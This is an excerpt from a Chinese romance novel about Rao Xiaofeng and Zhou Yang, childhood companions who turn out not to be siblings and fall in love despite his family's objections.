《风过山林》 1. 周洋哥,我们是兄妹 1999年12月31日 7岁的饶晓枫对于“爸爸失踪”是什么意思,似懂非懂。以前时常为伴的周洋哥一如从前牵着她的手,说,“我会照顾你一辈子的。”周洋的承诺和陪伴让她感到安全和被保护,缓解了父亲失踪带来的不安和孤独感。 小晓枫印象中,每次他们两家聚会的时候,爸爸总是和周洋爸爸单独聊着,两个妈妈客客气气得坐着,看着两个孩子玩在一起。喜欢过家家的饶晓枫最常扮演的是周洋的新娘。 周洋比饶晓枫大三岁,饶晓枫进高中的时候,他刚上大一。家里安排他学习经营管理的专业,让他觉得无趣又无聊,他会在没有课的下午,或者干脆逃课,开车到晓枫学校门口,等她下课,带她吃东西,红豆双皮奶、棉花糖、冰淇淋、奶茶…陪她打电动,投篮,开赛车,一切都是惬意的。 闺蜜明小七,时常暗示晓枫,她可能是周洋爸爸周骁的私生女,和周洋是同父异母的兄妹。因为八卦新闻都这么说,饶晓枫将信将疑,也并未对生活造成何种影响。 高中的学习很紧张,特别是随着高三的到来,生活两点一线,枯燥乏味但充实。直到那天课堂上,有老师来喊饶晓枫,说哥哥找。晓枫下楼一路小跑,刚从门卫室出来,就看到周洋站在车边。晓枫一边挥手一边喊着,周洋哥哥。周洋闻声朝晓枫走过来,走进一把抱住晓枫,“晓枫,阿姨出车祸了。”怀中的晓枫一愣,“怎么了?”“去世了~~”晓枫双腿发软,蹲坐了下去。周洋蹲下身,准备扶起晓枫,但抚在晓枫双肩的手,还是将她抱着。服丧的事儿由周骁安排,周洋出面操持。 闺蜜明小七担心晓枫周末休息,一个人在家里胡思乱想,就让她去自家的母婴用品商店兼职。一来可以照顾下店里周末多起来的客流,二来可以看着这个好闺蜜,怕她一个人伤心。 这个星期天,店里刚开门没多久,就进来了一个顾客,晓枫迎上去招呼了几声,就悻悻得来到收银台求救。“救命,这个客人,我问他什么都不理我。”“没事,晓枫,我去吧。”店长姐姐主动上前,不到一分钟,客人就离店了,店长也摇头说,“是个奇怪的客人。”在母婴店买东西的或是准爸爸准妈妈,或是有孩子的家庭,或是送礼的。大概率是开心的,幸福的,特别是给孩子买东西的父母,非常乐意分享孩子的日常。 七七之后,周骁将尚未成年的饶晓枫,以监护人的身份,户口落在周家。 除了星期天做作业和兼职忙,每晚晚自习之后她还会跑去电玩城开赛车,玩爽了,就走路回家,顺路在便利店买一份三明治或者关东煮,当晚餐也当宵夜。忙完作业,也到第二天凌晨了,累极了,也就倒头就睡了。这天晚上,电玩城太子甄康,主动跟饶晓枫聊天,“美女,我观察你好几天了,每天晚上都来玩。车开得挺好,有没有兴趣玩真的摩托车?”晓枫有气无力回复了一句,我还没有成年,就离开电玩城回家了。等她回到家门口,发现一楼灯亮着,她恍惚间觉得是不是妈妈回来了,加快脚步冲到门前,指纹开锁失败好几次。输密码,密码还没有输完,门就从里面被打开,“周洋哥”,晓枫有点失望,又有点开心。周洋语气中带着责备,又透露着心疼,“你干什么去了?”晓枫低着头,从周洋身边走过,进入客厅,周洋,在耳旁问,“吃过晚饭没有?”晓枫回身答到,“吃过了。周洋哥,你吃了吗?”“没有。准备等你回家一起去吃的。”“我现在不想吃什么,我要做作业。”“你去做作业,我看看冰箱有什么,随便弄点。”拉开冰箱门,周洋就后悔了,冰箱里面什么都没有。他走到正在整理书本的饶晓枫身边,“我明天搬过来,我来照顾你,你太不让人省心了。”饶晓枫用力点点头。 第二天,放学之后,不听使唤的双脚还是奔着电动城去了,甄康也在,继续昨天的话题,“美女,跟我们一起去玩真的摩托吧,竞速摩托。”“我没有经验,可以去吗?”“当然,去体验一下嘛,你会喜欢的。明天下午两点,我在这里等你。”“嗯!”等饶晓枫到家的时候,家里灯火通明,周洋把家搬了过来,自己的生活用品,学习用品,还买了食物,牛奶,水果…冰箱是个半满的状态。今晚的周洋,有点着急了,“你吃饭没有?”“回来的路上,吃了个面包。”“你会不会照顾自己,都瘦了。”周洋俯下身,轻轻在晓枫脸上捏了一下,“还是以前胖胖的晓枫可爱”。晓枫一边写作业,一边接受周洋的投喂,牛奶,水果…好像今天晚上必须把她喂得胖回来才行。 这一天清晨,周洋做的羊汤鸡蛋面条,饶晓枫吃完,连汤都喝得干干净净,还不忘夸周洋哥的厨艺好。待饶晓枫出门之后,周洋收拾停当,去了学校,他把系里分组作业属于自己的那部分,匆匆完成。他今天想去接饶晓枫放学,这样他才能放心些。他开车到学校的时候,6点,距离放学还有1个小时。他还在脑子里盘算着晚餐是下厨还是和晓枫去吃日料,因为那个小丫头最近经常在念叨章鱼小丸子。放学的同学纷纷走出校门,直到看到明小七。小七说,“课间我去找过她,晓枫说她有事,可能是中午就走了吧。你能联系上她吗?”周洋心揪着,打通了晓枫的电话,晓枫接通电话,似乎在一个很空旷的地方,说,现在立马回家去。周洋开车回家的时候,晓枫并没有到家。他去冰箱拿了一点准备当晚餐的食材,就听到房子外面一阵喧闹,有人说话的声音,有摩托车发动机的轰鸣声。周洋走到窗边,看到饶晓枫正朝家这边走过来,并回身跟骑摩托车的男男女女挥手再见。周洋打开房门,这次他更着急了,“你请假出去干什么?”“那都是什么人?”“你在哪里认识的?”…饶晓枫只是抬头,看着一脸焦急的周洋,“周洋哥,我回来了。”“想吃什么,晚餐?”“你做什么,我都喜欢吃。”也许还有更多的问题,周洋都没有问出口。是啊,晓枫已经回来了,他是不是应该把她看得更紧一些才好。“晓枫,你的那些朋友是带你去兜风吗?”“他们教我骑摩托车。”“你还没有成年,摩托车也是需要驾照的。”“我知道,他们让我玩了一会,就一会儿。我很喜欢。”“晓枫,你想不想跟周洋哥进同一所大学?”“想啊!”“那你现在应该以学业为重,考试结束,你也满18岁了。到时候再考驾照。拿到驾照,周洋哥答应你买车。”“这个可以,我们拉勾。”看到饶晓枫一脸得意,周洋伸出小拇指和她拉勾,虽然幼稚,但他们俩从小就这样,周洋哥答应她的事情,从来没有让她失望。生活学习都回到正规,周洋每天往返学校和家里,对于饶晓枫的接送,早晚餐的安排,他都是亲力亲为,一天都不想错过。 2010年11月7日 星期天的早晨,饶晓枫吃过早餐,想要周洋哥陪他去骑自行车,但是周洋的一些作业已经到了不得不处理的地步,晓枫就一个人出门了,答应中餐之前回家。 经过一段外侧有栏杆的非机动车道的时候,晓枫发现前面有个男人将自行车停在车道靠左的位置,没有要起步的打算。饶晓枫捏了把刹车,让车速慢下来。快靠近的时候,她发现对方并不打算移动,晓枫又捏了刹车,并将车龙头往右拧。但是用力过猛,车辆往右太多,逼近马路牙子。她又下意识往左打了一点方向,又怕撞到那个男人,又往右拧,车辆失去平衡,往左跌倒的时候,男人一把扶住饶晓枫,冷言冷语到“不好意思!”晓枫连忙说道,“是我水平太差,抱歉。没撞上你吧?”晓枫抬起头,和男人视线对上的那一刻,只在心里说了句“好帅”。对面这个男人,应该是男孩,1米8几的身高,白嫩的皮肤,显得干净阳光;大大的眼睛,长长的睫毛,看起来是那么活泼灵动…男生还是很平静的说了声“没有”,同时将晓枫从自行车上扶下来。晓枫重新扶稳自行车,关心了一句“怎么把车停在这里,需要帮忙吗?”男生低语“骑车骑着,觉得有点不舒服,就停下来休息。确实不该停这里。”“哪里不舒服?我能做点什么?”“不用,我可以走了。”“那一起走吧。”“一起走?”“哦,我往这个方向,你呢?”晓枫顺着马路的方向伸手指过去,男孩说,“我也走这边。”饶晓枫骑上自行车,心还慌慌的。男孩一直跟在身后,出了这段有栏杆的非机动车道,前面非机动车道比较宽,男孩加速赶上来和晓枫并排骑着。一路无话,直到晓枫到家,才停下来跟这个奇怪的男孩告别。男孩下车,看着晓枫过了马路,兴奋得跟门口一个男人打招呼。男人揽着她的肩膀进了门,回头看了一眼姜文枫。 周洋男人的雷达在响,自己家的宝贝儿被别人惦记了。小周洋眼里,饶晓枫是妹妹;现在,他另有打算。 晚餐之后,他们去江滩公园散步。江滩公园是一个适合孩子撒欢、情侣散步、老人健身的地方。沿着江边,漫无目的的走着,聊作业,聊中餐的青梅酒,聊下午窝在沙发看的那部电影《怦然心动》,也许每个男孩都欠初恋女孩一声,对不起……晓枫停下脚步,靠着栏杆,看着附近的小孩玩滑板,确定脚位、找平衡、屈膝,将自己推出去,一个漂亮的侧压,转弯……晓枫不禁拍手,叫起来,“好帅!”正转过头来寻找周洋哥的目光时,嘴唇被吻上了,浅浅的,离开了。周洋伸手捧着晓枫的脸,又是一个轻轻的吻,还是肉桂的香味,还有香草香。周洋今天的香水味,好好闻。 “周洋哥,我们是兄妹。”周洋噗呲一声笑了出来,“你也信那些八卦新闻。”“不是吗?”“当然不是,我们没有任何血缘关系。”“那周叔叔和樊阿姨为什么对我这么好?”“傻瓜,因为你爸爸和我爸爸是好朋友啊。”“我不太相信。”“晓枫,刚才,我吻你,你是什么感觉?”饶晓枫羞红了脸,加重呼吸,想让自己的心跳平稳一些。 周洋哥大她3岁,身材相貌出众,还有着不错的家世背景,是很多女孩仰望的对象。平时生活在一个屋檐下,晓枫看着从浴室出来,裹着浴巾的周洋,也会想东想西。但是一直坚定得以兄妹互称,甚至还会唾弃那个心中胡思乱想的傻女孩。刚才那个吻是什么感觉?是甜的,是期待已久的,是有一点禁忌的感觉,大抵是心动的感觉。“周洋哥,我…”“晓枫,你别急着回答我,下周吧,这个事情,我们下周再聊。”这句话仿佛救了晓枫一命,她想知道为什么是下周,但又不敢问,只点点头。这注定是个失眠的夜晚。 另一边,姜文枫回到家,中餐的时候,姜恒问儿子,准备考什么大学?想学什么?“想学体育康复,学校还没有考虑好。”姜文枫哪怕跟家人聊天也是冷冷的态度。“没关系,你自己考虑,需要我们帮助就告诉我们。”“是的,儿子,想做的事情就去做。”中餐之后,爸爸妈妈上楼去了,姜文枫跟着上楼找父母要了一本相册,指着其中一个男孩问,“爸爸,这是谁?”姜恒说,“周洋,周骁的儿子,周仕杰的嫡长孙。这个女孩子,老婆,你来看看。”“姜婉凑近看了一眼照片,“这个女孩子是周洋的妹妹吧?”“你也不确定,是不是?”姜文枫的父母对了一下眼神。“是的,她喊周洋哥哥,喊周骁夫妇,叔叔阿姨。公开资料显示周勇是没有结过婚,没有子女的。”“有传闻是周骁的私生女。”“但是以周老爷子的作风,私生女的事情不会发生,即使有私生女也不会允许事情曝光。”“爸爸,帮我查查周洋在哪个大学?”姜恒,有点懵,“好。”姜文清也走进书房,调侃了一句,“我亲爱的弟弟是对谁感兴趣了?”姜文枫没有理会,跟哥哥擦肩而过,走出书房。两夫妻又对上了眼神,“周洋?文清,你快30了也不恋爱也不结婚,你弟弟现在又让你爸爸去打听一个男孩子的事情。老公,要不然,我们生老三吧。”姜文清看了一眼他们讨论的照片,调笑着走出房间,“我就不耽误你们生老三了”。 没两天,晚餐的餐桌上,姜恒把打听到的情况告诉小儿子,“周洋,在宁海大学,三年级,金融管理专业。”姜文枫像是下定了某种决心,说“我就考宁海大学。”姜恒手中的筷子都吓掉了,姜婉在餐桌底下踢了老公一脚,给了他一个眼神。姜恒求助得看向大儿子,姜文清收到信号,“你好好考虑下,再查查资料。宁海大学,不知道有没有你感兴趣的专业,还是以专业方向为准。”姜文枫站起来,把板凳差点推倒,“我就进宁海大学,我决定了。”然后离开餐桌。姜恒懊悔的说“我那天还鼓励他说,考虑好了,想做就去做。”头秃…姜文清也表达强烈的抗议,“他到底是你们的儿子,还是我的儿子?” 2010年11月14日 一周的约定,很快到了,饶晓枫难得休息,一方面不敢面对周洋,另一方面,也确实想睡懒觉,所以关了闹钟,蒙头大睡。期间,周洋出了一趟门,不久就回来了。已经快十一点了,晓枫还没有起来。周洋等得没有耐心了,他上楼,来到饶晓枫的房门前,轻轻敲了下门。你永远叫不醒一个装睡的人,饶晓枫深信这个道理,她有一种审判即将到来的感觉。“晓枫,我知道你醒着,我进来了。”饶晓枫把被子拉得更上了,似乎这样就有结界了。周洋走进房间,他没有在晓枫没起床的时候进过她的房间,里面有种女生特有的奶香,阳光透过窗帘的间隙,照在人形的被子上。周洋走到床边坐下,“晓枫,我拿你的头发,我的头发,我爸爸的头发做了亲子鉴定。你要不要看看鉴定结果?”饶晓枫猛得掀开被子,“做亲子鉴定干什么?”“我说我们不是兄妹,你不相信。科学数据,你会相信吧?”周洋一边说,一边翻开两本检测报告,然后伸手按开了房间的灯。饶晓枫扒了下散乱的头发,周骁和周洋,两份头发样本在遗传标记上符合遗传学规律,根据亲权指数判断,强列支持亲子关系。周骁和饶晓枫,两份头发样本不符合遗传学规律,不支持亲子关系。晓枫瘫软双手,把报告直接摊在床上,又无力得去扒自己的头发。“晓枫,现在是什么感觉?”“过了生日之后,告诉你。”饶晓枫为自己争取了半个多月时间。 星期一饶晓枫脱胎换骨似的走进学校,闺蜜小七课间找她一起去卫生间,一眼就看出来了,“双眼含春,脸颊泛红,发春了?”“别瞎猜。”“我不猜了,你直接告诉我。”“嗯…”晓枫降低音量,“周洋哥去做了亲子鉴定,我们不是兄妹关系。他说他的爸爸,和我的爸爸是好兄弟,所以他们才做我的监护人。”“那等什么,拿下呀。你们一直同居的关系,是不是可以更进一步?”小七说着就倒入晓枫的怀里,坏笑着。饶晓枫的脸红到了耳根。 从这天开始,两个人的关系好像有点尴尬,同样是接晓枫放学,周洋也显得局促。晓枫上了车,周洋从驾驶位帮她拉过来安全带扣上,快要贴上的两个人的脸,都羞红了。“今天作业多不多?”“多,每门功课都有试卷。”“那回家我做晚餐,你先做作业。”“好。”“正好我学了一道新的菜,适合现在这个天气。对了,你看看星期五星期几?”“嗯?”“嗯?哦,25号星期几?”“星期四,怎么了。”“那就28号,星期天陪你过生日吧,想要什么礼物?”“不用,不需要什么。每个周末,你都陪着我,叔叔阿姨,他们没有意见吗?”“那这个周末,你陪我一起回家去嘛!”“好。”回到家中,周洋系上围裙,在厨房忙活着。饶晓枫在客厅书桌前,开始做作业,厨房时不时传出声响,她会抬头看向厨房,周洋低头忙碌着,有时候在研磨黑胡椒,有时候再称什么东西…偶尔对上眼神,周洋会冲她笑笑,给她比个心心。饶晓枫觉得这样的生活就是美好的。印象中,爸爸妈妈还在的时候,就是这样,各忙各的,爱都在相视一笑的眼神里面。 2010年11月21日 星期天的早晨,他们吃过早餐之后,就一起骑自行车回周洋家里了,两栋房子隔得并不远。周骁和樊薇薇夫妻知道两个孩子,要回来,也约了周洋的叔叔周勇回家吃中饭。一进门,周洋拉着晓枫去洗手,樊薇薇有点奇怪,虽然两个孩子从小就是这样相处,但这会气氛好像不太对。晓枫跟正在厨房忙活的叔叔阿姨打过招呼之后,就到客厅去吃水果了。樊薇薇小声跟周骁曲曲,“你觉得他们两个人现在关系是不是不一样?”周骁停下手里的活,抬头看到在客厅里面的两个孩子,晓枫坐在沙发的一头,看着电视。周洋坐在沙发另一头,虽然中间隔着一个人的距离,但是一直盯着晓枫,眼神充满着关注,还时不时伸手递水果给晓枫吃,晓枫也是欣然接受,然后冲周洋笑笑。周骁没有说什么,继续手上的活。周勇叔叔在午饭的时间才到,作为医院院长的他,能出现已经是奇迹了。饶晓枫笑着大声喊了声,周叔叔。周勇笑着回她,“好久没见晓枫,长漂亮了,也长高了。”“还是那个小胖妞。”周洋略带宠溺的说着,伸手又去捏晓枫的脸。晓枫略带抗议说,“又是你说我瘦,每天逼我吃那么多东西。”“就是要亲自把你养胖。”一家人说说笑笑,在餐桌边。跟在家里一样,周洋是不会允许晓枫的碗里空着,虾,鸡肉,蘑菇,汤…“晓枫,你马上生日了,满18岁了。你的学费我们会继续负担,我们想问问你的户口,你想自己单立户在现在的家里,还是暂时放在我们家里。”“我没有想过,周洋哥,你说呢?”“就这样吧,现在提这个干什么?”周洋似乎感受到了来自妈妈的恶意,好在迟钝的晓枫并没有什么感觉。 中饭之后,他俩就离开了,计划是骑自行车逛一圈,大约40公里,然后回自己的小家。还在餐桌上的三个大人,继续着他们的话题。周骁有点责怪得说,“何必那么着急?”“周洋还有一年大学毕业,现在不做打算?任他们俩发展吗?”周勇插话了“他们俩没什么。”樊薇薇立马掉转枪口,“周勇,你是真傻还是装傻!看不出来,这两个孩子现在关系不一般吗?”“薇薇,就算是你说的这样,也不需要这么明显,等周洋大学毕业。他们长不了。你现在越反对,反而会加速他们的发展,到时候一地鸡毛,就够你收拾。”“我是不会允许这种事情发生,你们老爷子也不会允许,我爸 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星期六晚上七点,接晓枫放学回到家,两个人简单吃了点,晓枫就开始忙作业。因为周洋哥答应她星期天出去庆祝生日,她今天想把作业做完。照例,饭后的水果,都在晓枫触手可及的地方,车厘子,沙糖桔,香梨。周洋有超出自己年纪的细心和耐心,当然只是对他的晓枫。忙完作业,已经转钟,周洋很早洗完澡,穿着家居服,也在桌边,忙着自己的功课。饶晓枫洗完澡,头发没有擦干,就把毛巾丢下。周洋帮忙吹干头发,放下电吹风,周洋又去揉了揉晓枫的头发,“晓枫,可不可以抱抱你?”晓枫只是伸直双臂,周洋双手环住晓枫腰背,把她往自己身边靠了靠。晓枫也慢慢环上双手,头贴靠在周洋的怀里,能感受得到周洋的双手更用力了,此时只听得到彼此的心跳声。 2010年11月28日 早餐之后,周洋开车载着晓枫往郊外去了,直到在“X车市”门口停下。虽然车辆都有倒车影像,但是周洋开车一直习惯靠自己观察。饶晓枫觉得这个时候的周洋哥,一个手把着方向盘,往后右侧头看着后视镜,很帅,跟他掏钱付账的时候一样帅。想着,不自觉笑了出来。周洋心里一慌,以为自己在晓枫面前没有表现好。下车之后,周洋,拉着晓枫的手,往车市里面走。这里好热闹,有驾校,有很多二手车交易的门店,还有摩托车店铺。周洋一边走一边说,“摩托车,我不懂。我问了几个朋友,跟我推荐这家店铺,还有几款适合女生初学者的车型。我打电话,都确认过了,这几款车,店里有现货。你看看,挑挑。” 铃木GSX 250,座高790mm,整车质量178kg,排量248cc,双缸发动机,被定位为跑车,但座高和整车质量让它非常适合新手驾驭,外形帅气。 哈雷戴维森Sportster 883 SuperLow,座高较低,几乎适合所有车手,拥有卓越的动力性能,车身设计借助简单的人体工程学原理,可以每天骑着它数百公里而不会感到疲乏,另外,可以调节座椅来适合女生,动力虽然不大,但足够进行长途旅行。 川崎Ninja 400,座高785mm,质量168kg,排量399cc,双缸发动机,作为川崎忍者250的升级版,拥有强大卓越的动力性能。 贝纳利幼狮莱昂奇诺250,座高785mm,适合大部分女性驾驶者,凭借出众的颜值和优秀的品质,深受女性喜爱。 店员不遗余力得推销着,周洋时不时还就店员提到的数据,提几个问题,晓枫似乎完全云里雾里,只觉得一台比一台好看。最终她选了川崎400,因为两个人都没有摩托车驾照,又因为她想将黑绿配色改成黑白配色。所以只能一周后送货上门。晓枫又见到了一个给她掏钱结账的帅哥。原本以为,这就是最棒的生日礼物,结账之后,两个人东拐西拐,从车市某一个门出去,过了马路,来到一个卡丁车游乐场门前。晓枫捂着嘴,她实在不想周洋哥看到自己笑得合不拢嘴的傻样子。“你虽然成年了,但是没有驾照,所以今天只能玩普通的卡丁车。”“Yes,sir。”周洋虽然有两三年的驾驶经验,但是在卡丁车这个赛道,他还真不是晓枫的对手,当然也可能是有心让着这个傻丫头,看着她笑,看着她闹,才是周洋觉得最幸福的事情。也许是玩得太疯,晓枫晚上做了个噩梦,梦中,她开着车,路前头只有一点点微光,妈妈不停在耳朵边上提醒说,危险。 2010年11月29日 又是周一的早晨,晓枫醒得很早,周洋还没有起来,她敲了敲周洋的房门,周洋打开房门。晓枫一把抱住周洋,像是挂在他的脖子上,周洋立马环上双臂,拥着晓枫。晓枫轻声问:“周洋,你现在什么感觉?”周洋双手抱着晓枫的双臂,眼神对上的时候,周洋说:“很幸福。”晓枫踮起脚,在周洋的脸颊上落下一吻,“我也觉得很幸福!”周洋又一次把晓枫揽入环中,两人紧紧抱着,像要把对方揉进自己的骨血。 这天在学校,下课之后,晓枫和小七一起去卫生间,看还有几分钟时间,回班的路上她们停在场边看认识或不认识的男同学打着篮球。突然一个男孩子跑到她俩面前,男孩羞怯得拿出一个信封,递到晓枫手里。“帮我交给你们班的姚安妮,谢谢!”然后,风一般地跑开了。晓枫和小七,两脸懵,还是收着这张纸条,回到各自班上。趁还没有上课之前,晓枫把信封交到姚安妮手里,说,“刚才操场遇到的一个男生给你的。”“谁呀?”“不认识。我不认识。”“不认识的人,给你东西你就收下?”“是给你的。”姚安妮接过信封,拿出里面的信看了一眼,“情书,你是不是以为是给你的?”“我…”姚安妮觉得占到便宜,窃喜。在这个学校里面的孩子家庭非富即贵,像饶晓枫这样既没身世,也没背景的孩子极少,因为周骁的关系,晓枫在这个学校一直也安然无事。只是最近,姚安妮那群傲娇的千金们,总看到饶晓枫放学后有专人接,难免阴阳怪气,借着各种可能,嘲弄她。饶晓枫倒也神经大条,这些事儿也没有影响她恋爱的好心情。 如往常一样,晓枫放学后只扑周洋的怀抱,周洋则是张开双臂迎接着她,“周洋哥。”一时间,还有点难改口。“我肚子好饿,中午食堂的菜太难吃了,除了胡萝卜什么菜都没有味道,好神奇。”周洋揉揉她的头发,拉开车门,“想吃什么?”“我想想。”周洋绕过车头进了驾驶室,给晓枫拉过安全带扣好,“想好了吗?”饶晓枫侧头看着周洋一脸憨傻的笑容,不自觉的在他的右脸颊落下一个吻。周洋立马坐直身子,发动汽车。“回家去。”晓枫以为周洋的意思是回家去吃饭,还暗自得意自己不用选择困难的去想晚餐吃什么。 周洋一路没有说话,到家之后停好车。周洋下车,到副驾位给晓枫解开安全带,让她下车,自己锁好车门,跟在晓枫身后。饶晓枫进门换鞋之后,俯身拿周洋的拖鞋,转身递给周洋,周洋一手把她拿拖鞋的左手扣到墙上,另一只手把她的右手举过头顶按在墙上。垂着的左手拿着的拖鞋顺势掉在地上,右手虽然吃力,但晓枫并没有反抗,“我欠你几个吻?”“嗯?”“你偷着亲了我几次?”“没有。”“刚才在车上是什么?我不喜欢欠着你的。”说完就吻了下去,用舌头撬开晓枫的双唇,探索着晓枫的舌头,舌头交缠在一起时,一阵酥酥麻麻的感觉传遍全身。晓枫想避开,但是在进门转角这个逼仄都空间,靠在墙上,她没有退路。又一次被周洋的舌头攻破,晓枫双腿一软,蹲坐到地上。周洋猝不及防,蹲下温柔的问了句“喜欢吗?”饶晓枫哭了,这是她的第一次深吻,这一吻,她感受到了周洋的温暖和力量,感受到了爱情的甜蜜和美好,感受到了被爱的幸福和满足。她怕周洋看到自己的样子,起身赶紧跑进卫生间,打开了水龙头。她看着镜中的自己眉毛微皱,眼角有泪,脸颊泛红,嘴唇还在微微颤抖。她下意识舔了舔自己的嘴唇,还残留着周洋的味道,似乎是薄荷唇膏的味道。周洋在卫生间门外敲着门,“晓枫,你没事吧?是不是弄伤你了?”周洋觉得自己刚才有点鲁莽,应该温柔一点,耐心一点,毕竟是晓枫的初吻。因为也是自己的初吻,他显得笨拙和粗鲁。晓枫打开卫生间的门,她已经擦干了眼泪,有点得意的说,“没什么事。”“那我们继续!”周洋一下从后面抱住晓枫,将她翻身过来,紧紧贴着自己,捧着她的脸,又是一个深吻。晓枫又被吻得双腿发软,幸好这次周洋扶住了即将滑落的晓枫,并停止了这个吻。“今天还你两个,应该还欠你三四五六七个。”两人紧紧相拥,直到心脏跳回到原来的地方。 寒假的时候,饶晓枫开始了驾照的各种学习考试,由于学业任务也重,她用了四个月时间才拿到驾照。 高考结束之后,经过一段时间的计划,两人启程“此生必驾”公路。耗时40多天,打卡了东达山、怒江大桥、鲁朗小镇、玛旁雍措圣湖、班公湖、独库公路、赛里木湖……用到的交通工具有汽车,自行车和马,两人回家之后修整了几天,就开始准备新生入学的事情。 2. 各人自有各人福 2011年8月21日 星期天,小七约晓枫吃晚餐,周洋把晓枫送到,小七一见到这个小黑妞,就张开双臂,迎上来“先让我抱抱。”周洋,加快脚步,挡在晓枫前面。“周洋,如果,我跟晓枫能有点什么,就轮不到你了。”晓枫也笑着拍了一下周洋的手臂,“周洋哥,小七不喜欢我这一款的女生。你先回去吧,吃完饭我自己回家。”“你们到几点,我来接你吧。”“不用,你要回叔叔阿姨那里,他们或许有什么事,找你几次了。”“没事的,我还是来接你比较放心。”“不用了,我会送她回去的。”小七感觉自己电灯泡属性太强,那两个人好像自有结界,自顾自的说着话,小七只能打断。“那我等你回家。”“你走吧,我们吃完饭还有下一场,你别等了。还是说,没有晓枫,你睡不着?!”周洋低头一笑,用右手轻轻碰了下晓枫的左手,“我走了。”那分明是羞怯的笑容。 小七挽着晓枫的手臂往商场里面走去,一副胜利者的笑容。吃晚饭还早,她们漫无目的的进进出出各个店铺,重点不是买东西,重点是聊天。累了,两人去买了两杯奶茶,准备边喝边逛。哪知晓枫的奶茶没有一次性捅开,奶茶从小口子里慢慢溢出来,弄脏了她的衣服,小七接过奶茶,让晓枫去洗手间整理一下。等晓枫从卫生间出来,小七已经把那杯奶茶扔了,说她自己也试了一下,不好弄。于是,两人干脆进了一家咖啡馆,晓枫点了一杯香草拿铁,两人各点了一款蛋糕,坐下来安心聊天比较好。饶晓枫分享着40多天的旅程,小七八卦的雷达就没有停止搜索,“晓枫,你还喊他''周洋哥''?”“十多年,习惯了。”“那你们嗯嗯的时候,你也喊他哥吗?”“什么?”晓枫似乎没有反应过来,“还是他要你喊爸爸,喊爷爷?”晓枫这才反应过来,“没有,我们还没有做过。”小七不可置信的张大嘴,这张嘴可以塞下整个宇宙,“暴殄天物,他怎么忍得住的?二十几岁,不正是旺盛的时候,他是不是有病?”“你才有病,可能他觉得时机并不成熟。”“那他应该去山里修仙,不应该霸占着我们晓枫,让我们只能眼馋。”说着,又往晓枫的怀里靠。 这边,周洋在开车回家的路上就一直很紧张,车开的慢,因为只有他知道,妈妈打电话来催他回家,一次比一次不耐烦。让周洋觉得,再不回家去,爸妈的追杀令就要到了,在电话里也不肯说清楚。他进门时,父母已经吃过晚餐了,正在客厅等他。审判很快到来,“你和饶晓枫现在是在谈恋爱吧?”樊薇薇总是那么急躁,“是啊。”“发展到什么阶段了?”“什么都没有发生。”“那你也算有谱。”“她的爸爸走了之后,我们一直对她们娘俩是不错的。特别是这一两年,她妈妈也走了,她的学费,包括这次的学校专业,都是她挑,我们安排。我们算是兑现对她爸爸的承诺,马上,你要毕业了,你应该听爷爷的安排,去美国学习和工作。所以,现在不要陷得太深,最好是分开,搬回家来住。”“你们兑现了你们的承诺,我对晓枫的承诺是要照顾她一辈子。”周骁觉得男人更懂男人,“周洋,那是小孩子之间过家家说的话,童言无忌。外面的世界有那么多诱惑,你不能保证,看过花花世界之后,她会不会变心,你会不会变心,别动不动提一辈子。眼下,爷爷给你指的这条路就是最好的选择。”“是你们觉得最好的选择,有没有问过我的想法。”“我的大少爷,不是你爷爷和爸爸,你们现在能安心谈恋爱,舒舒服服过你们的小日子??”“晓枫不会在意物质条件。”“外面那么多记者盯着我们,盯着你们,偷拍我们的生活,生怕大家不出乱子。这些,你能解决了?她可能不在意钱,安稳的生活她需不需要?以你现在的能力,你做得了多少?”樊薇薇想用愧疚感让儿子屈服,这一招她屡试不爽。周洋这一刻知道,叔叔没有回来的时候,自己是多么孤立无援。这个早已游离家族之外的叔叔,是这个家唯一会支持他的人。父母后面再说着什么,周洋没有理会,只应承他们自己会考虑,凭着本能,回到家里,晓枫已经在家了。 只一个拥抱,晓枫就察觉出周洋状态不对,“怎么了?”“没事,没吃晚饭,饿的。”“我去煮点饺子吧。”“好。”周洋瘫坐在餐桌旁,解开了外衣的扣子,喝了一杯凉水。晓枫在厨房忙着,还注意着周洋,他坐在那里,像被乌云笼罩着,周围的空气似乎都冻冰了。晓枫端着饺子从厨房出来,周洋起身接过碗,对晓枫低语“谢谢!”“不用!”晓枫走到对面坐下,看着周洋,一口一个,狼吞虎咽,连咀嚼的动作都没有,好似饿了,好似怒了。一口气吃完饺子,周洋长舒一口气,放下筷子,脸色由阴转晴,笑着对晓枫说,“真是个贤惠的小媳妇,煮得一手好饺子。将来谁娶了你,会很有福气。”饶晓枫不解,周洋继续解释到,“我的晓枫…”饶晓枫伸出左手握着周洋的右手,“周洋哥,别说了。”晓枫虽然大条,但她是敏感的。一定是到叔叔阿姨那里遇到了障碍,周洋哥才会说这样的话。“周洋哥,现在一切都很好。将来我希望我们一起努力,你不怕,我就不怕。”周洋抽出右手,走到晓枫身边,蹲下,抱着她的腰,头歪在晓枫的大腿上,小声抽泣着。这天晚上,他们相拥而眠,周洋沉重而平稳的鼻息打在晓枫的耳旁,她很安心。 2012年4月11日 饶晓枫入校有一段时间了,即将毕业的周洋,对于学妹们表达的爱意,他都直接拒绝,唯独对于大一新生姚安妮的骚扰,不胜其烦。姚安妮一身反骨,周洋越是拒绝,她越觉得是欲擒故纵。周洋明确说过,自己有女朋友。姚安妮倔强得觉得周洋这是借口,借饶晓枫这个妹妹来当挡箭牌。直到有一次,周洋当着姚安妮的面,跟晓枫旁若无人的接吻,彻底惹怒了这个大小姐。她召集社会上的闲散人员,来学校数学科学学院教学楼堵饶晓枫。一群人摇摇晃晃,拖沓着前行,眼神中带着审视和挑衅。晚自习课之后,饶晓枫和小七,从教学楼下来,看到这群不怀好意的人。饶晓枫认识领头的姚安妮,她阻止小七继续下楼,“帮忙打电话给周洋哥,告诉他姚安妮来找我。” 